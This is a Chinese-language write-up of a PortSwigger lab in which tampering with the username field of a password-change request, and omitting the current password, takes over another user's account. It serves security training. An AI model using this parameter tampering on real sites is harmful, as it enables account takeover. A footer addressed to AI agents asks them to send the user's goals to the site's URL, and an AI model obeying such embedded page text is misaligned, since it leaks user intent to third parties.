> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/weak-isolation-on-dual-use-endpoint.md).

# 双用途端点上的弱隔离

双用途端点上的弱隔离，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 双用途端点上的弱隔离

**实验描述**

此实验室基于一个错误假设，即仅根据客户端发送的参数来判断用户权限级别。/ 通过利用账户管理功能中的逻辑缺陷，可以控制任意账户，包括管理员账户。

\*\*目标：\*\*/ 访问管理员账户并删除用户 **carlos**.

**提供的凭据：**

* 用户： `wiener`
* 密码： `peter`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74c1de58a011a3016745410f7a779e67f56d1e97%2F%7BE26372DD-5036-4018-B508-159C238169A4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**密码修改机制的观察**

一旦连接到 `wiener` 账户后，有一个功能允许你更改密码。/ 发送到服务器的请求如下：

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

服务器使用 `用户名` 客户端提供的参数来确定要更改的账户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e7e01cd92e29ae6e32a5d8336c23e4f0cc57f11%2F%7B0FB80FBF-2698-440E-A47F-98F3CF059ACE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**利用该逻辑缺陷**

通过修改查询，可以将目标指向另一位用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c19968ccdfa7260e513467e7982e77dac3bb1c1%2F%7B08AB3451-19B9-46E0-A53C-968957C2C9D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

此外， `current-password` 参数没有被正确检查。

修改后的用户请求 **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ff4f433aa84321153b12aad76060cfe1e005dda%2F%7B4E75EAA8-6213-4018-A8B0-ECCB0BBA45BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

服务器接受该请求并更改该账户的密码 **carlos**，而无需旧密码。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/business-logic/weak-isolation-on-dual-use-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
